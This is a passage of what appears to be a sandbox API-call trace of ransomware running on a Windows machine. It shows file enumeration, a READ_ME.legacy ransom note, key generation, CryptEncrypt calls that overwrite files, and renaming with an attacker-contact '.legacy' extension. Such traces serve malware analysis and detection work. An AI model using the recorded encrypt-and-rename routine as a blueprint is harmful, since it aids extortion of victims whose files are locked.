(HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f658b0 | out: hHeap=0x520000) returned 1 [0161.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.148] FindNextFileW (in: hFindFile=0x2f615d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e153f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed1e153f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0161.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f794b8 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0161.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64840 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f794b8 | out: hHeap=0x520000) returned 1 [0161.149] GetLastError () returned 0x0 [0161.149] SetLastError (dwErrCode=0x0) [0161.149] GetLastError () returned 0x0 [0161.149] SetLastError (dwErrCode=0x0) [0161.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64840 | out: hHeap=0x520000) returned 1 [0161.149] GetLastError () returned 0x0 [0161.149] SetLastError (dwErrCode=0x0) [0161.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65d60 | out: hHeap=0x520000) returned 1 [0161.149] FindNextFileW (in: hFindFile=0x2f615d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e153f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed1e153f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41510 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f638a0 | out: hHeap=0x520000) returned 1 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0161.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6b8d0 | out: hHeap=0x520000) returned 1 [0161.149] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f617d8 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78a18 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f63bc0 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78a18 | out: hHeap=0x520000) returned 1 [0161.150] GetLastError () returned 0x12 [0161.150] SetLastError (dwErrCode=0x12) [0161.150] GetLastError () returned 0x12 [0161.150] SetLastError (dwErrCode=0x12) [0161.150] GetLastError () returned 0x12 [0161.150] SetLastError (dwErrCode=0x12) [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dea0 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dea0 | out: hHeap=0x520000) returned 1 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61398 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61398 | out: hHeap=0x520000) returned 1 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65d60 | out: hHeap=0x520000) returned 1 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0161.150] FindNextFileW (in: hFindFile=0x2f617d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63bc0 | out: hHeap=0x520000) returned 1 [0161.150] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f797e8 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f797e8 | out: hHeap=0x520000) returned 1 [0161.151] GetLastError () returned 0x12 [0161.151] SetLastError (dwErrCode=0x12) [0161.151] GetLastError () returned 0x12 [0161.151] SetLastError (dwErrCode=0x12) [0161.151] GetLastError () returned 0x12 [0161.151] SetLastError (dwErrCode=0x12) [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc90 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f611d8 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f611d8 | out: hHeap=0x520000) returned 1 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65d60 | out: hHeap=0x520000) returned 1 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.151] FindNextFileW (in: hFindFile=0x2f617d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e153f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed1e153f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78e58 [0161.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78e58 | out: hHeap=0x520000) returned 1 [0161.152] GetLastError () returned 0x12 [0161.152] SetLastError (dwErrCode=0x12) [0161.152] GetLastError () returned 0x12 [0161.152] SetLastError (dwErrCode=0x12) [0161.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.152] GetLastError () returned 0x12 [0161.152] SetLastError (dwErrCode=0x12) [0161.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65ae0 [0161.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65ae0 | out: hHeap=0x520000) returned 1 [0161.152] FindNextFileW (in: hFindFile=0x2f617d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1fd05db4, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1fd05db4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79100 [0161.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64b60 [0161.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79100 | out: hHeap=0x520000) returned 1 [0161.152] GetLastError () returned 0x12 [0161.152] SetLastError (dwErrCode=0x12) [0161.152] GetLastError () returned 0x12 [0161.152] SetLastError (dwErrCode=0x12) [0161.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64b60 | out: hHeap=0x520000) returned 1 [0161.152] GetLastError () returned 0x12 [0161.153] SetLastError (dwErrCode=0x12) [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65ae0 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65ae0 | out: hHeap=0x520000) returned 1 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x617908 [0161.153] FindNextFileW (in: hFindFile=0x2f617d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x36332b5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32de8aed, ftLastWriteTime.dwHighDateTime=0x1d32756, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79210 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79210 | out: hHeap=0x520000) returned 1 [0161.153] GetLastError () returned 0x12 [0161.153] SetLastError (dwErrCode=0x12) [0161.153] GetLastError () returned 0x12 [0161.153] SetLastError (dwErrCode=0x12) [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.153] GetLastError () returned 0x12 [0161.153] SetLastError (dwErrCode=0x12) [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f658b0 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f658b0 | out: hHeap=0x520000) returned 1 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6aeb0 [0161.153] FindNextFileW (in: hFindFile=0x2f617d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2aa792ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2aa792ec, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2aa792ec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f796d8 [0161.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0161.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f63968 [0161.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f796d8 | out: hHeap=0x520000) returned 1 [0161.154] GetLastError () returned 0x12 [0161.154] SetLastError (dwErrCode=0x12) [0161.154] GetLastError () returned 0x12 [0161.154] SetLastError (dwErrCode=0x12) [0161.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63968 | out: hHeap=0x520000) returned 1 [0161.154] GetLastError () returned 0x12 [0161.154] SetLastError (dwErrCode=0x12) [0161.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69b48 [0161.154] FindNextFileW (in: hFindFile=0x2f617d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2aa792ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2aa792ec, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2aa792ec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0161.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0161.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78e58 [0161.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0161.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f650d8 [0161.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78e58 | out: hHeap=0x520000) returned 1 [0161.154] GetLastError () returned 0x12 [0161.154] SetLastError (dwErrCode=0x12) [0161.154] GetLastError () returned 0x12 [0161.154] SetLastError (dwErrCode=0x12) [0161.154] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f650d8 | out: hHeap=0x520000) returned 1 [0161.154] GetLastError () returned 0x12 [0161.154] SetLastError (dwErrCode=0x12) [0161.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0161.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0161.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a640 [0161.155] FindNextFileW (in: hFindFile=0x2f617d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2aa792ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2aa792ec, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2aa792ec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0161.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69ea8 [0161.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0161.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0161.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.155] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0161.155] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0161.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a2e0 [0161.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0161.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6a2e0 | out: hHeap=0x520000) returned 1 [0161.156] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1180 [0161.156] GetFileSizeEx (in: hFile=0x1180, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3538 [0161.156] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3438 [0161.156] ReadFile (in: hFile=0x1180, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.156] SetFilePointer (in: hFile=0x1180, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.156] WriteFile (in: hFile=0x1180, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0161.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0161.157] SetFilePointer (in: hFile=0x1180, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.157] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.157] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.157] WriteFile (in: hFile=0x1180, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.158] WriteFile (in: hFile=0x1180, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.158] CloseHandle (hObject=0x1180) returned 1 [0161.158] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0161.158] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0161.158] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0161.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f69ea8 | out: hHeap=0x520000) returned 1 [0161.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6a640 | out: hHeap=0x520000) returned 1 [0161.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6af88 [0161.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0161.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0161.160] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0161.160] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0161.160] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0161.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a490 [0161.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0161.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6a490 | out: hHeap=0x520000) returned 1 [0161.161] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1180 [0161.162] GetFileSizeEx (in: hFile=0x1180, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x2ec3030 [0161.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x2ecf060 [0161.162] ReadFile (in: hFile=0x1180, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.172] SetFilePointer (in: hFile=0x1180, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.172] WriteFile (in: hFile=0x1180, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ec3030 | out: hHeap=0x520000) 